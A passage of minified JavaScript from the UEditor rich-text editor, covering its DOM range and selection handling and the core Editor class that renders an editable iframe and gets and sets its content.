- a,d){var c=[];if(!p.isFunction(a)){var b=a;a=function(a){return-1!=p.indexOf(p.isArray(b)?b:b.split(" "),a.tagName.toLowerCase())}}p.each(e,function(b){a(b)&&c.push(b)});return 0==c.length?null:1!=c.length&&d?c:c[0]},isInNodeEndBoundary:function(e,a){var d=e.startContainer;if(3==d.nodeType&&e.startOffset!=d.nodeValue.length||1==d.nodeType&&e.startOffset!=d.childNodes.length)return 0;for(;d!==a;){if(d.nextSibling)return 0;d=d.parentNode}return 1},isBoundaryNode:function(f,a){for(var d;!e.isBody(f);)if(d=
- f,f=f.parentNode,d!==f[a])return!1;return!0}},O=RegExp(e.fillChar,"g");(function(){function f(a){return!a.collapsed&&1==a.startContainer.nodeType&&a.startContainer===a.endContainer&&1==a.endOffset-a.startOffset}function a(a,g,b,c){1==g.nodeType&&(w.$empty[g.tagName]||w.$nonChild[g.tagName])&&(b=e.getNodeIndex(g)+(a?0:1),g=g.parentNode);a?(c.startContainer=g,c.startOffset=b,c.endContainer||c.collapse(!0)):(c.endContainer=g,c.endOffset=b,c.startContainer||c.collapse(!1));c.collapsed=c.startContainer&&
- c.endContainer&&c.startContainer===c.endContainer&&c.startOffset==c.endOffset;return c}function d(a,g){var b=a.startContainer,c=a.endContainer,k=a.startOffset,l=a.endOffset,d=a.document,h=d.createDocumentFragment(),f,C;1==b.nodeType&&(b=b.childNodes[k]||(f=b.appendChild(d.createTextNode(""))));1==c.nodeType&&(c=c.childNodes[l]||(C=c.appendChild(d.createTextNode(""))));if(b===c&&3==b.nodeType)return h.appendChild(d.createTextNode(b.substringData(k,l-k))),g&&(b.deleteData(k,l-k),a.collapse(!0)),h;for(var F,
- p,r=h,q=e.findParents(b,!0),w=e.findParents(c,!0),z=0;q[z]==w[z];)z++;for(var H=z,B;B=q[H];H++){F=B.nextSibling;B==b?f||(3==a.startContainer.nodeType?(r.appendChild(d.createTextNode(b.nodeValue.slice(k))),g&&b.deleteData(k,b.nodeValue.length-k)):r.appendChild(g?b:b.cloneNode(!0))):(p=B.cloneNode(!1),r.appendChild(p));for(;F&&F!==c&&F!==w[H];)B=F.nextSibling,r.appendChild(g?F:F.cloneNode(!0)),F=B;r=p}r=h;q[z]||(r.appendChild(q[z-1].cloneNode(!1)),r=r.firstChild);for(H=z;k=w[H];H++){F=k.previousSibling;
- k==c?C||3!=a.endContainer.nodeType||(r.appendChild(d.createTextNode(c.substringData(0,l))),g&&c.deleteData(0,l)):(p=k.cloneNode(!1),r.appendChild(p));if(H!=z||!q[z])for(;F&&F!==b;)k=F.previousSibling,r.insertBefore(g?F:F.cloneNode(!0),r.firstChild),F=k;r=p}g&&a.setStartBefore(w[z]?q[z]?w[z]:q[z-1]:w[z-1]).collapse(!0);f&&e.remove(f);C&&e.remove(C);return h}function c(a,g){try{if(k&&e.inDoc(k,a))if(k.nodeValue.replace(O,"").length)k.nodeValue=k.nodeValue.replace(O,"");else{var b=k.parentNode;for(e.remove(k);b&&
- e.isEmptyInlineElement(b)&&(r.safari?!(e.getPosition(b,g)&e.POSITION_CONTAINS):!b.contains(g));)k=b.parentNode,e.remove(b),b=k}}catch(c){}}function b(a,g){var b;for(a=a[g];a&&e.isFillChar(a);)b=a[g],e.remove(a),a=b}var h=0,g=e.fillChar,k,l=K.Range=function(a){this.startContainer=this.startOffset=this.endContainer=this.endOffset=null;this.document=a;this.collapsed=!0};l.prototype={cloneContents:function(){return this.collapsed?null:d(this,0)},deleteContents:function(){var a;this.collapsed||d(this,
- 1);r.webkit&&(a=this.startContainer,3!=a.nodeType||a.nodeValue.length||(this.setStartBefore(a).collapse(!0),e.remove(a)));return this},extractContents:function(){return this.collapsed?null:d(this,2)},setStart:function(g,b){return a(!0,g,b,this)},setEnd:function(g,b){return a(!1,g,b,this)},setStartAfter:function(a){return this.setStart(a.parentNode,e.getNodeIndex(a)+1)},setStartBefore:function(a){return this.setStart(a.parentNode,e.getNodeIndex(a))},setEndAfter:function(a){return this.setEnd(a.parentNode,
- e.getNodeIndex(a)+1)},setEndBefore:function(a){return this.setEnd(a.parentNode,e.getNodeIndex(a))},setStartAtFirst:function(a){return this.setStart(a,0)},setStartAtLast:function(a){return this.setStart(a,3==a.nodeType?a.nodeValue.length:a.childNodes.length)},setEndAtFirst:function(a){return this.setEnd(a,0)},setEndAtLast:function(a){return this.setEnd(a,3==a.nodeType?a.nodeValue.length:a.childNodes.length)},selectNode:function(a){return this.setStartBefore(a).setEndAfter(a)},selectNodeContents:function(a){return this.setStart(a,
- 0).setEndAtLast(a)},cloneRange:function(){return(new l(this.document)).setStart(this.startContainer,this.startOffset).setEnd(this.endContainer,this.endOffset)},collapse:function(a){a?(this.endContainer=this.startContainer,this.endOffset=this.startOffset):(this.startContainer=this.endContainer,this.startOffset=this.endOffset);this.collapsed=!0;return this},shrinkBoundary:function(a){function g(a){return 1==a.nodeType&&!e.isBookmarkNode(a)&&!w.$empty[a.tagName]&&!w.$nonChild[a.tagName]}for(var b,c=
- this.collapsed;1==this.startContainer.nodeType&&(b=this.startContainer.childNodes[this.startOffset])&&g(b);)this.setStart(b,0);if(c)return this.collapse(!0);if(!a)for(;1==this.endContainer.nodeType&&0<this.endOffset&&(b=this.endContainer.childNodes[this.endOffset-1])&&g(b);)this.setEnd(b,b.childNodes.length);return this},getCommonAncestor:function(a,g){var b=this.startContainer,c=this.endContainer;return b===c?a&&f(this)&&(b=b.childNodes[this.startOffset],1==b.nodeType)?b:g&&3==b.nodeType?b.parentNode:
- b:e.getCommonAncestor(b,c)},trimBoundary:function(a){this.txtToElmBoundary();var g=this.startContainer,b=this.startOffset,c=this.collapsed,k=this.endContainer;if(3==g.nodeType){if(0==b)this.setStartBefore(g);else if(b>=g.nodeValue.length)this.setStartAfter(g);else{var l=e.split(g,b);g===k?this.setEnd(l,this.endOffset-b):g.parentNode===k&&(this.endOffset+=1);this.setStartBefore(l)}if(c)return this.collapse(!0)}a||(b=this.endOffset,k=this.endContainer,3==k.nodeType&&(0==b?this.setEndBefore(k):(b<k.nodeValue.length&&
- e.split(k,b),this.setEndAfter(k))));return this},txtToElmBoundary:function(a){function g(a,b){var c=a[b+"Container"],k=a[b+"Offset"];if(3==c.nodeType)if(!k)a["set"+b.replace(/(\w)/,function(a){return a.toUpperCase()})+"Before"](c);else if(k>=c.nodeValue.length)a["set"+b.replace(/(\w)/,function(a){return a.toUpperCase()})+"After"](c)}if(a||!this.collapsed)g(this,"start"),g(this,"end");return this},insertNode:function(a){var g=a,b=1;11==a.nodeType&&(g=a.firstChild,b=a.childNodes.length);this.trimBoundary(!0);
- var c=this.startContainer,k=c.childNodes[this.startOffset];k?c.insertBefore(a,k):c.appendChild(a);g.parentNode===this.endContainer&&(this.endOffset+=b);return this.setStartBefore(g)},setCursor:function(a,g){return this.collapse(!a).select(g)},createBookmark:function(a,g){var b,c=this.document.createElement("span");c.style.cssText="display:none;line-height:0px;";c.appendChild(this.document.createTextNode("\u200d"));c.id="_baidu_bookmark_start_"+(g?"":h++);this.collapsed||(b=c.cloneNode(!0),b.id="_baidu_bookmark_end_"+
- (g?"":h++));this.insertNode(c);b&&this.collapse().insertNode(b).setEndBefore(b);this.setStartAfter(c);return{start:a?c.id:c,end:b?a?b.id:b:null,id:a}},moveToBookmark:function(a){var b=a.id?this.document.getElementById(a.start):a.start;a=a.end&&a.id?this.document.getElementById(a.end):a.end;this.setStartBefore(b);e.remove(b);a?(this.setEndBefore(a),e.remove(a)):this.collapse(!0);return this},enlarge:function(a,b){var g=e.isBody,c,k,l=this.document.createTextNode("");if(a){k=this.startContainer;1==
- k.nodeType?k.childNodes[this.startOffset]?c=k=k.childNodes[this.startOffset]:(k.appendChild(l),c=k=l):c=k;for(;;){if(e.isBlockElm(k)){for(k=c;(c=k.previousSibling)&&!e.isBlockElm(c);)k=c;this.setStartBefore(k);break}c=k;k=k.parentNode}k=this.endContainer;1==k.nodeType?((c=k.childNodes[this.endOffset])?k.insertBefore(l,c):k.appendChild(l),c=k=l):c=k;for(;;){if(e.isBlockElm(k)){for(k=c;(c=k.nextSibling)&&!e.isBlockElm(c);)k=c;this.setEndAfter(k);break}c=k;k=k.parentNode}l.parentNode===this.endContainer&&
- this.endOffset--;e.remove(l)}if(!this.collapsed){for(;!(0!=this.startOffset||b&&b(this.startContainer)||g(this.startContainer));)this.setStartBefore(this.startContainer);for(;!(this.endOffset!=(1==this.endContainer.nodeType?this.endContainer.childNodes.length:this.endContainer.nodeValue.length)||b&&b(this.endContainer)||g(this.endContainer));)this.setEndAfter(this.endContainer)}return this},adjustmentBoundary:function(){if(!this.collapsed){for(;!e.isBody(this.startContainer)&&this.startOffset==this.startContainer[3==
- this.startContainer.nodeType?"nodeValue":"childNodes"].length&&this.startContainer[3==this.startContainer.nodeType?"nodeValue":"childNodes"].length;)this.setStartAfter(this.startContainer);for(;!e.isBody(this.endContainer)&&!this.endOffset&&this.endContainer[3==this.endContainer.nodeType?"nodeValue":"childNodes"].length;)this.setEndBefore(this.endContainer)}return this},applyInlineStyle:function(a,b,g){if(this.collapsed)return this;this.trimBoundary().enlarge(!1,function(a){return 1==a.nodeType&&
- e.isBlockElm(a)}).adjustmentBoundary();for(var c=this.createBookmark(),k=c.end,l=function(a){return 1==a.nodeType?"br"!=a.tagName.toLowerCase():!e.isWhitespace(a)},d=e.getNextDomNode(c.start,!1,l),h,f,C=this.cloneRange();d&&e.getPosition(d,k)&e.POSITION_PRECEDING;)if(3==d.nodeType||w[a][d.tagName]){C.setStartBefore(d);for(h=d;h&&(3==h.nodeType||w[a][h.tagName])&&h!==k;)f=h,h=e.getNextDomNode(h,1==h.nodeType,null,function(b){return w[a][b.tagName]});var d=C.setEndAfter(f).extractContents(),p;if(g&&
- 0<g.length){var r;r=p=g[0].cloneNode(!1);for(var q=1,W;W=g[q++];)p.appendChild(W.cloneNode(!1)),p=p.firstChild}else p=C.document.createElement(a);b&&e.setAttributes(p,b);p.appendChild(d);C.insertNode(g?r:p);var S;"span"==a&&b.style&&/text\-decoration/.test(b.style)&&(S=e.findParentByTagName(p,"a",!0))?(e.setAttributes(S,b),e.remove(p,!0),p=S):(e.mergeSibling(p),e.clearEmptySibling(p));e.mergeChild(p,b);d=e.getNextDomNode(p,!1,l);e.mergeToParent(p);if(h===k)break}else d=e.getNextDomNode(d,!0,l);return this.moveToBookmark(c)},
- removeInlineStyle:function(a){if(this.collapsed)return this;a=p.isArray(a)?a:[a];this.shrinkBoundary().adjustmentBoundary();for(var b=this.startContainer,g=this.endContainer;;){if(1==b.nodeType){if(-1<p.indexOf(a,b.tagName.toLowerCase()))break;if("body"==b.tagName.toLowerCase()){b=null;break}}b=b.parentNode}for(;;){if(1==g.nodeType){if(-1<p.indexOf(a,g.tagName.toLowerCase()))break;if("body"==g.tagName.toLowerCase()){g=null;break}}g=g.parentNode}var c=this.createBookmark(),k,l;b&&(l=this.cloneRange().setEndBefore(c.start).setStartBefore(b),
- k=l.extractContents(),l.insertNode(k),e.clearEmptySibling(b,!0),b.parentNode.insertBefore(c.start,b));g&&(l=this.cloneRange().setStartAfter(c.end).setEndAfter(g),k=l.extractContents(),l.insertNode(k),e.clearEmptySibling(g,!1,!0),g.parentNode.insertBefore(c.end,g.nextSibling));for(b=e.getNextDomNode(c.start,!1,function(a){return 1==a.nodeType});b&&b!==c.end;)g=e.getNextDomNode(b,!0,function(a){return 1==a.nodeType}),-1<p.indexOf(a,b.tagName.toLowerCase())&&e.remove(b,!0),b=g;return this.moveToBookmark(c)},
- getClosedNode:function(){var a;if(!this.collapsed){var b=this.cloneRange().adjustmentBoundary().shrinkBoundary();f(b)&&(b=b.startContainer.childNodes[b.startOffset])&&(1==b.nodeType&&(w.$empty[b.tagName]||w.$nonChild[b.tagName]))&&(a=b)}return a},select:r.ie?function(a,l){var d;this.collapsed||this.shrinkBoundary();var h=this.getClosedNode();if(h&&!l){try{d=this.document.body.createControlRange(),d.addElement(h),d.select()}catch(f){}return this}var h=this.createBookmark(),v=h.start;d=this.document.body.createTextRange();
- d.moveToElementText(v);d.moveStart("character",1);if(!this.collapsed){var x=this.document.body.createTextRange(),v=h.end;x.moveToElementText(v);d.setEndPoint("EndToEnd",x)}else if(!a&&3!=this.startContainer.nodeType){var x=this.document.createTextNode(g),D=this.document.createElement("span");D.appendChild(this.document.createTextNode(g));v.parentNode.insertBefore(D,v);v.parentNode.insertBefore(x,v);c(this.document,x);k=x;b(D,"previousSibling");b(v,"nextSibling");d.moveStart("character",-1);d.collapse(!0)}this.moveToBookmark(h);
- D&&e.remove(D);try{d.select()}catch(M){}return this}:function(a){function l(a){function b(g,c,k){3==g.nodeType&&g.nodeValue.length<c&&(a[k+"Offset"]=g.nodeValue.length)}b(a.startContainer,a.startOffset,"start");b(a.endContainer,a.endOffset,"end")}var d=e.getWindow(this.document),h=d.getSelection();r.gecko?this.document.body.focus():d.focus();if(h){h.removeAllRanges();this.collapsed&&!a&&(a=d=this.startContainer,1==d.nodeType&&(a=d.childNodes[this.startOffset]),3==d.nodeType&&this.startOffset||(a?
- a.previousSibling&&3==a.previousSibling.nodeType:d.lastChild&&3==d.lastChild.nodeType)||(a=this.document.createTextNode(g),this.insertNode(a),c(this.document,a),b(a,"previousSibling"),b(a,"nextSibling"),k=a,this.setStart(a,r.webkit?1:0).collapse(!0)));d=this.document.createRange();if(this.collapsed&&r.opera&&1==this.startContainer.nodeType)if(a=this.startContainer.childNodes[this.startOffset]){for(;a&&e.isBlockElm(a);)if(1==a.nodeType&&a.childNodes[0])a=a.childNodes[0];else break;a&&this.setStartBefore(a).collapse(!0)}else(a=
- this.startContainer.lastChild)&&e.isBr(a)&&this.setStartBefore(a).collapse(!0);l(this);d.setStart(this.startContainer,this.startOffset);d.setEnd(this.endContainer,this.endOffset);h.addRange(d)}return this},scrollToView:function(a,b){a=a?window:e.getWindow(this.document);var g=this.document.createElement("span");g.innerHTML=" ";this.cloneRange().insertNode(g);e.scrollToView(g,a,b);e.remove(g);return this},inFillChar:function(){var a=this.startContainer;return this.collapsed&&3==a.nodeType&&a.nodeValue.replace(RegExp("^"+
- e.fillChar),"").length+1==a.nodeValue.length?!0:!1},createAddress:function(a,b){function g(a){for(var c=a?k.startContainer:k.endContainer,l=e.findParents(c,!0,function(a){return!e.isBody(a)}),d=[],h=0,n;n=l[h++];)d.push(e.getNodeIndex(n,b));l=0;if(b)if(3==c.nodeType){for(c=c.previousSibling;c&&3==c.nodeType;)l+=c.nodeValue.replace(O,"").length,c=c.previousSibling;l+=a?k.startOffset:k.endOffset}else if(c=c.childNodes[a?k.startOffset:k.endOffset])l=e.getNodeIndex(c,b);else for(c=a?k.startContainer:
- k.endContainer,a=c.firstChild;a;)if(e.isFillChar(a))a=a.nextSibling;else if(l++,3==a.nodeType)for(;a&&3==a.nodeType;)a=a.nextSibling;else a=a.nextSibling;else l=a?e.isFillChar(c)?0:k.startOffset:k.endOffset;0>l&&(l=0);d.push(l);return d}var c={},k=this;c.startAddress=g(!0);a||(c.endAddress=k.collapsed?[].concat(c.startAddress):g());return c},moveToAddress:function(a,b){function g(a,b){for(var k=c.document.body,l,d,e=0,h,n=a.length;e<n;e++)if(h=a[e],l=k,k=k.childNodes[h],!k){d=h;break}b?k?c.setStartBefore(k):
- c.setStart(l,d):k?c.setEndBefore(k):c.setEnd(l,d)}var c=this;g(a.startAddress,!0);!b&&a.endAddress&&g(a.endAddress);return c},equals:function(a){for(var b in this)if(this.hasOwnProperty(b)&&this[b]!==a[b])return!1;return!0},traversal:function(a,b){if(this.collapsed)return this;for(var g=this.createBookmark(),c=g.end,k=e.getNextDomNode(g.start,!1,b);k&&k!==c&&e.getPosition(k,c)&e.POSITION_PRECEDING;){var l=e.getNextDomNode(k,!1,b);a(k);k=l}return this.moveToBookmark(g)}}})();(function(){function f(a,
- b){var d=e.getNodeIndex;a=a.duplicate();a.collapse(b);var g=a.parentElement();if(!g.hasChildNodes())return{container:g,offset:0};for(var k=g.children,l,n=a.duplicate(),m=0,f=k.length-1,t=-1;m<=f;){t=Math.floor((m+f)/2);l=k[t];n.moveToElementText(l);var u=n.compareEndPoints("StartToStart",a);if(0<u)f=t-1;else if(0>u)m=t+1;else return{container:g,offset:d(l)}}if(-1==t){n.moveToElementText(g);n.setEndPoint("StartToStart",a);n=n.text.replace(/(\r\n|\r)/g,"\n").length;k=g.childNodes;if(!n)return l=k[k.length-
- 1],{container:l,offset:l.nodeValue.length};for(d=k.length;0<n;)n-=k[--d].nodeValue.length;return{container:k[d],offset:-n}}n.collapse(0<u);n.setEndPoint(0<u?"StartToStart":"EndToStart",a);n=n.text.replace(/(\r\n|\r)/g,"\n").length;if(!n)return w.$empty[l.tagName]||w.$nonChild[l.tagName]?{container:g,offset:d(l)+(0<u?0:1)}:{container:l,offset:0<u?0:l.childNodes.length};for(;0<n;)try{k=l,l=l[0<u?"previousSibling":"nextSibling"],n-=l.nodeValue.length}catch(v){return{container:g,offset:d(k)}}return{container:l,
- offset:0<u?-n:l.nodeValue.length+n}}function a(a,b){if(a.item)b.selectNode(a.item(0));else{var d=f(a,!0);b.setStart(d.container,d.offset);0!=a.compareEndPoints("StartToEnd",a)&&(d=f(a,!1),b.setEnd(d.container,d.offset))}return b}function d(a){var b;try{b=a.getNative().createRange()}catch(d){return null}var g=b.item?b.item(0):b.parentElement();return(g.ownerDocument||g)===a.document?b:null}(K.Selection=function(a){var b=this;b.document=a;E&&(a=e.getWindow(a).frameElement,e.on(a,"beforedeactivate",
- function(){b._bakIERange=b.getIERange()}),e.on(a,"activate",function(){try{!d(b)&&b._bakIERange&&b._bakIERange.select()}catch(a){}b._bakIERange=null}));a=a=null}).prototype={getNative:function(){var a=this.document;try{return a?E&&9>r.ie?a.selection:e.getWindow(a).getSelection():null}catch(b){return null}},getIERange:function(){var a=d(this);return!a&&this._bakIERange?this._bakIERange:a},cache:function(){this.clear();this._cachedRange=this.getRange();this._cachedStartElement=this.getStart();this._cachedStartElementPath=
- this.getStartElementPath()},getStartElementPath:function(){if(this._cachedStartElementPath)return this._cachedStartElementPath;var a=this.getStart();return a?e.findParents(a,!0,null,!0):[]},clear:function(){this._cachedStartElementPath=this._cachedRange=this._cachedStartElement=null},isFocus:function(){try{return r.ie&&d(this)||!r.ie&&this.getNative().rangeCount?!0:!1}catch(a){return!1}},getRange:function(){function c(a){for(var g=b.document.body.firstChild,c=a.collapsed;g&&g.firstChild;)a.setStart(g,
- 0),g=g.firstChild;a.startContainer||a.setStart(b.document.body,0);c&&a.collapse(!0)}var b=this;if(null!=b._cachedRange)return this._cachedRange;var d=new q.editor.dom.Range(b.document);if(E&&9>r.ie){var g=b.getIERange();if(g)try{a(g,d)}catch(k){c(d)}else c(d)}else{var l=b.getNative();if(l&&l.rangeCount)g=l.getRangeAt(0),l=l.getRangeAt(l.rangeCount-1),d.setStart(g.startContainer,g.startOffset).setEnd(l.endContainer,l.endOffset),d.collapsed&&(e.isBody(d.startContainer)&&!d.startOffset)&&c(d);else{if(this._bakRange&&
- e.inDoc(this._bakRange.startContainer,this.document))return this._bakRange;c(d)}}return this._bakRange=d},getStart:function(){if(this._cachedStartElement)return this._cachedStartElement;var a=E?this.getIERange():this.getRange(),b,d;if(E){if(!a)return this.document.body.firstChild;if(a.item)return a.item(0);b=a.duplicate();0<b.text.length&&b.moveStart("character",1);b.collapse(1);b=b.parentElement();for(d=a=a.parentElement();a=a.parentNode;)if(a==b){b=d;break}}else if(a.shrinkBoundary(),b=a.startContainer,
- 1==b.nodeType&&b.hasChildNodes()&&(b=b.childNodes[Math.min(b.childNodes.length-1,a.startOffset)]),3==b.nodeType)return b.parentNode;return b},getText:function(){var a;return this.isFocus()&&(a=this.getNative())?(a=r.ie?a.createRange():a.getRangeAt(0),r.ie?a.text:a.toString()):""},clearRange:function(){this.getNative()[r.ie?"empty":"removeAllRanges"]()}}})();(function(){function f(a,b){var c;if(b.textarea)if(p.isString(b.textarea))for(var d=0,h,f=e.getElementsByTagName(a,"textarea");h=f[d++];){if(h.id==
- "ueditor_textarea_"+b.options.textarea){c=h;break}}else c=b.textarea;c||(a.appendChild(c=e.createElement(document,"textarea",{name:b.options.textarea,id:"ueditor_textarea_"+b.options.textarea,style:"display:none"})),b.textarea=c);c.value=b.hasContents()?b.options.allHtmlEnabled?b.getAllHtml():b.getContent(null,null,!0):""}function a(a){for(var b in UE.plugins)UE.plugins[b].call(a);a.langIsReady=!0;a.fireEvent("langReady")}function d(a){for(var b in a)return b}var c=0,b,h=UE.Editor=function(b){var k=
- this;k.uid=c++;V.call(k);k.commands={};k.options=p.extend(p.clone(b||{}),UEDITOR_CONFIG,!0);k.shortcutkeys={};k.inputRules=[];k.outputRules=[];k.setOpt({isShow:!0,initialContent:"",initialStyle:"",autoClearinitialContent:!1,iframeCssUrl:k.options.UEDITOR_HOME_URL+"themes/iframe.css",textarea:"editorValue",focus:!1,focusInEnd:!0,autoClearEmptyNode:!0,fullscreen:!1,readonly:!1,zIndex:999,imagePopup:!0,enterTag:"p",customDomain:!1,lang:"zh-cn",langPath:k.options.UEDITOR_HOME_URL+"lang/",theme:"default",
- themePath:k.options.UEDITOR_HOME_URL+"themes/",allHtmlEnabled:!1,scaleEnabled:!1,tableNativeEditInFF:!1,autoSyncData:!0});p.isEmptyObject(UE.I18N)?p.loadFile(document,{src:k.options.langPath+k.options.lang+"/"+k.options.lang+".js",tag:"script",type:"text/javascript",defer:"defer"},function(){a(k)}):(k.options.lang=d(UE.I18N),a(k));UE.instants["ueditorInstant"+k.uid]=k};h.prototype={ready:function(a){a&&(this.isReady?a.apply(this):this.addListener("ready",a))},setOpt:function(a,b){var c={};p.isString(a)?
- c[a]=b:c=a;p.extend(this.options,c,!0)},destroy:function(){this.fireEvent("destroy");var a=this.container.parentNode,b=this.textarea;b?b.style.display="":(b=document.createElement("textarea"),a.parentNode.insertBefore(b,a));b.style.width=this.iframe.offsetWidth+"px";b.style.height=this.iframe.offsetHeight+"px";b.value=this.getContent();b.id=this.key;a.innerHTML="";e.remove(a);var a=this.key,c;for(c in this)this.hasOwnProperty(c)&&delete this[c];UE.delEditor(a)},render:function(a){var b=this.options;
- p.isString(a)&&(a=document.getElementById(a));if(a){b.minFrameWidth=b.initialFrameWidth?b.initialFrameWidth:b.initialFrameWidth=a.offsetWidth;b.initialFrameHeight?b.minFrameHeight=b.initialFrameHeight:b.initialFrameHeight=b.minFrameHeight=a.offsetHeight;a.style.width=/%$/.test(b.initialFrameWidth)?"100%":b.initialFrameWidth-parseInt(e.getComputedStyle(a,"padding-left"))-parseInt(e.getComputedStyle(a,"padding-right"))+"px";a.style.height=/%$/.test(b.initialFrameHeight)?"100%":b.initialFrameHeight-
- parseInt(e.getComputedStyle(a,"padding-top"))-parseInt(e.getComputedStyle(a,"padding-bottom"))+"px";a.style.zIndex=b.zIndex;var c=(E&&9>r.version?"":"<!DOCTYPE html>")+"<html xmlns='http://www.w3.org/1999/xhtml' class='view' ><head><style type='text/css'>.view{padding:0;word-wrap:break-word;cursor:text;height:90%;}\nbody{margin:8px;font-family:sans-serif;font-size:16px;}p{margin:5px 0;}</style>"+(b.iframeCssUrl?"<link rel='stylesheet' type='text/css' href='"+p.unhtml(b.iframeCssUrl)+"'/>":"")+(b.initialStyle?
- "<style>"+b.initialStyle+"</style>":"")+"</head><body class='view' ></body><script type='text/javascript' "+(E?"defer='defer'":"")+" id='_initialScript'>setTimeout(function(){window.parent.UE.instants['ueditorInstant"+this.uid+"']._setup(document);},0);var _tmpScript = document.getElementById('_initialScript');_tmpScript.parentNode.removeChild(_tmpScript);\x3c/script></html>";a.appendChild(e.createElement(document,"iframe",{id:"ueditor_"+this.uid,width:"100%",height:"100%",frameborder:"0",src:"javascript:void(function(){document.open();"+
- (b.customDomain&&document.domain!=location.hostname?'document.domain="'+document.domain+'";':"")+'document.write("'+c+'");document.close();}())'}));a.style.overflow="hidden";setTimeout(function(){/%$/.test(b.initialFrameWidth)&&(b.minFrameWidth=b.initialFrameWidth=a.offsetWidth,a.style.width=b.initialFrameWidth+"px");/%$/.test(b.initialFrameHeight)&&(b.minFrameHeight=b.initialFrameHeight=a.offsetHeight,a.style.height=b.initialFrameHeight+"px")})}},_setup:function(a){var b=this,c=b.options;E?(a.body.disabled=
- !0,a.body.contentEditable=!0,a.body.disabled=!1):a.body.contentEditable=!0;a.body.spellcheck=!1;b.document=a;b.window=a.defaultView||a.parentWindow;b.iframe=b.window.frameElement;b.body=a.body;b.selection=new K.Selection(a);var d;r.gecko&&(d=this.selection.getNative())&&d.removeAllRanges();this._initEvents();for(var h=this.iframe.parentNode;!e.isBody(h);h=h.parentNode)if("FORM"==h.tagName){b.form=h;if(b.options.autoSyncData)e.on(b.window,"blur",function(){f(h,b)});else e.on(h,"submit",function(){f(this,
- b)});break}if(c.initialContent)if(c.autoClearinitialContent){var s=b.execCommand;b.execCommand=function(){b.fireEvent("firstBeforeExecCommand");return s.apply(b,arguments)};this._setDefaultContent(c.initialContent)}else this.setContent(c.initialContent,!1,!0);e.isEmptyNode(b.body)&&(b.body.innerHTML="<p>"+(r.ie?"":"<br/>")+"</p>");c.focus&&setTimeout(function(){b.focus(b.options.focusInEnd);!b.options.autoClearinitialContent&&b._selectionChange()},0);b.container||(b.container=this.iframe.parentNode);
- c.fullscreen&&b.ui&&b.ui.setFullScreen(!0);try{b.document.execCommand("2D-position",!1,!1)}catch(t){}try{b.document.execCommand("enableInlineTableEditing",!1,!1)}catch(u){}try{b.document.execCommand("enableObjectResizing",!1,!1)}catch(v){}b._bindshortcutKeys();b.isReady=1;b.fireEvent("ready");c.onready&&c.onready.call(b);if(!r.ie)e.on(b.window,["blur","focus"],function(a){if("blur"==a.type){b._bakRange=b.selection.getRange();try{b._bakNativeRange=b.selection.getNative().getRangeAt(0),b.selection.getNative().removeAllRanges()}catch(g){b._bakNativeRange=
- null}}else try{b._bakRange&&b._bakRange.select()}catch(c){}});r.gecko&&10902>=r.version&&(b.body.contentEditable=!1,setTimeout(function(){b.body.contentEditable=!0},100),setInterval(function(){b.body.style.height=b.iframe.offsetHeight-20+"px"},100));!c.isShow&&b.setHide();c.readonly&&b.setDisabled()},sync:function(a){(a=a?document.getElementById(a):e.findParent(this.iframe.parentNode,function(a){return"FORM"==a.tagName},!0))&&f(a,this)},setHeight:function(a,b){a!==parseInt(this.iframe.parentNode.style.height)&&
- (this.iframe.parentNode.style.height=a+"px");!b&&(this.options.minFrameHeight=this.options.initialFrameHeight=a);this.body.style.height=a+"px"},addshortcutkey:function(a,b){var c={};b?c[a]=b:c=a;p.extend(this.shortcutkeys,c)},_bindshortcutKeys:function(){var a=this,b=this.shortcutkeys;a.addListener("keydown",function(c,d){var h=d.keyCode||d.which,f;for(f in b)for(var t=b[f].split(","),u=0,v;v=t[u++];){v=v.split(":");var x=v[0];v=v[1];if(/^(ctrl)(\+shift)?\+(\d+)$/.test(x.toLowerCase())||/^(\d+)$/.test(x))if("ctrl"==
- RegExp.$1&&(d.ctrlKey||d.metaKey)&&(""!=RegExp.$2?d[RegExp.$2.slice(1)+"Key"]:1)&&h==RegExp.$3||h==RegExp.$1)-1!=a.queryCommandState(f,v)&&a.execCommand(f,v),e.preventDefault(d)}})},getContent:function(a,b,c,d,e){a&&p.isFunction(a)&&(b=a,a="");if(b?!b():!this.hasContents())return"";this.fireEvent("beforegetcontent");b=UE.htmlparser(this.body.innerHTML,d);this.filterOutputRule(b);this.fireEvent("aftergetcontent",a);return b.toHtml(e)},getAllHtml:function(){var a=[];this.fireEvent("getAllHtml",a);if(r.ie&&
- 8<r.version){var b="";p.each(this.document.styleSheets,function(a){b+=a.href?'<link rel="stylesheet" type="text/css" href="'+a.href+'" />':"<style>"+a.cssText+"</style>"});p.each(this.document.getElementsByTagName("script"),function(a){b+=a.outerHTML})}return"<html><head>"+(this.options.charset?'<meta http-equiv="Content-Type" content="text/html; charset='+this.options.charset+'"/>':"")+(b||this.document.getElementsByTagName("head")[0].innerHTML)+a.join("\n")+"</head><body "+(E&&9>r.version?'class="view"':
- "")+">"+this.getContent(null,null,!0)+"</body></html>"},getPlainTxt:function(){var a=RegExp(e.fillChar,"g"),b=this.body.innerHTML.replace(/[\n\r]/g,""),b=b.replace(/<(p|div)[^>]*>(<br\/?>| )<\/\1>/gi,"\n").replace(/<br\/?>/gi,"\n").replace(/<[^>/]+>/g,"").replace(/(\n)?<\/([^>]+)>/g,function(a,b,c){return w.$block[c]?"\n":b?b:""});return b.replace(a,"").replace(/\u00a0/g," ").replace(/ /g," ")},getContentTxt:function(){return this.body[r.ie?"innerText":"textContent"].replace(RegExp(e.fillChar,
- "g"),"").replace(/\u00a0/g," ")},setContent:function(a,b,c){this.fireEvent("beforesetcontent",a);a=UE.htmlparser(a);this.filterInputRule(a);a=a.toHtml();this.body.innerHTML=(b?this.body.innerHTML:"")+a;if("p"==this.options.enterTag)if(b=this.body.firstChild,!b||1==b.nodeType&&(w.$cdata[b.tagName]||"DIV"==b.tagName&&b.getAttribute("cdata_tag")||e.isCustomeNode(b))&&b===this.body.lastChild)this.body.innerHTML="<p>"+(r.ie?" ":"<br/>")+"</p>"+this.body.innerHTML;else for(var d=this.document.createElement("p");b;){for(;b&&
- (3==b.nodeType||1==b.nodeType&&w.p[b.tagName]&&!w.$cdata[b.tagName]);)a=b.nextSibling,d.appendChild(b),b=a;if(d.firstChild)if(b)b.parentNode.insertBefore(d,b),d=this.document.createElement("p");else{this.body.appendChild(d);break}b=b.nextSibling}this.fireEvent("aftersetcontent");this.fireEvent("contentchange");!c&&this._selectionChange();this._bakRange=this._bakIERange=this._bakNativeRange=null;var h;r.gecko&&(h=this.selection.getNative())&&h.removeAllRanges();this.options.autoSyncData&&this.form&&
